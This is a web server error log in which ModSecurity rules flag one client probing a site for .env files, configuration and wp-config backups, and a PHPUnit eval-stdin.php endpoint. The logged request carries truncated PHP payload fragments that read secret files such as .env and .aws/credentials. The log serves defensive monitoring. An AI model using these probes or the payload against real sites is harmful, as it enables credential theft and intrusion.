[Fri Jul 17 08:55:18.188187 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.orig"] [unique_id "almgnoZvbo7N5o5zeYC-YgAAABw"]
[Fri Jul 17 08:55:18.188494 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.orig"] [unique_id "almgnoZvbo7N5o5zeYC-YgAAABw"]
[Fri Jul 17 08:55:18.188638 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.188688 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.188762 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnoZvbo7N5o5zeYC-YgAAABw"]
[Fri Jul 17 08:55:18.190861 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.191015 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.192226 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.193436 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/configuration.php~"] [unique_id "almgnkkXT4NBqALj2lZ8sgAAABA"]
[Fri Jul 17 08:55:18.194025 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/configuration.php~"] [unique_id "almgnkkXT4NBqALj2lZ8sgAAABA"]
[Fri Jul 17 08:55:18.195812 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.195972 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.196125 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkkXT4NBqALj2lZ8sgAAABA"]
[Fri Jul 17 08:55:18.196878 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/configuration.php.old"] [unique_id "almgnol9vhFBGA6D8l95_gAAAAw"]
[Fri Jul 17 08:55:18.197388 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/configuration.php.old"] [unique_id "almgnol9vhFBGA6D8l95_gAAAAw"]
[Fri Jul 17 08:55:18.197530 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.197670 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l95_gAAAAw"]
[Fri Jul 17 08:55:18.199327 2026] [authz_core:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.old
[Fri Jul 17 08:55:18.199464 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.199997 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.206668 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.211513 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.229341 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.240407 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.241305 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/configuration.php.swp"] [unique_id "almgnnRlmrtCoY_COpcl4AAAAAg"]
[Fri Jul 17 08:55:18.241802 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/configuration.php.swp"] [unique_id "almgnnRlmrtCoY_COpcl4AAAAAg"]
[Fri Jul 17 08:55:18.241928 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.242087 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnnRlmrtCoY_COpcl4AAAAAg"]
[Fri Jul 17 08:55:18.247703 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.256393 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.swp
[Fri Jul 17 08:55:18.256582 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.261076 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.261248 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.261546 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.263198 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.264516 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.264801 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.txt
[Fri Jul 17 08:55:18.264950 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.266535 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/configuration.php.backup"] [unique_id "almgnkkXT4NBqALj2lZ8swAAABA"]
[Fri Jul 17 08:55:18.267390 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/configuration.php.backup"] [unique_id "almgnkkXT4NBqALj2lZ8swAAABA"]
[Fri Jul 17 08:55:18.267530 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.267676 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkkXT4NBqALj2lZ8swAAABA"]
[Fri Jul 17 08:55:18.269331 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.281406 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
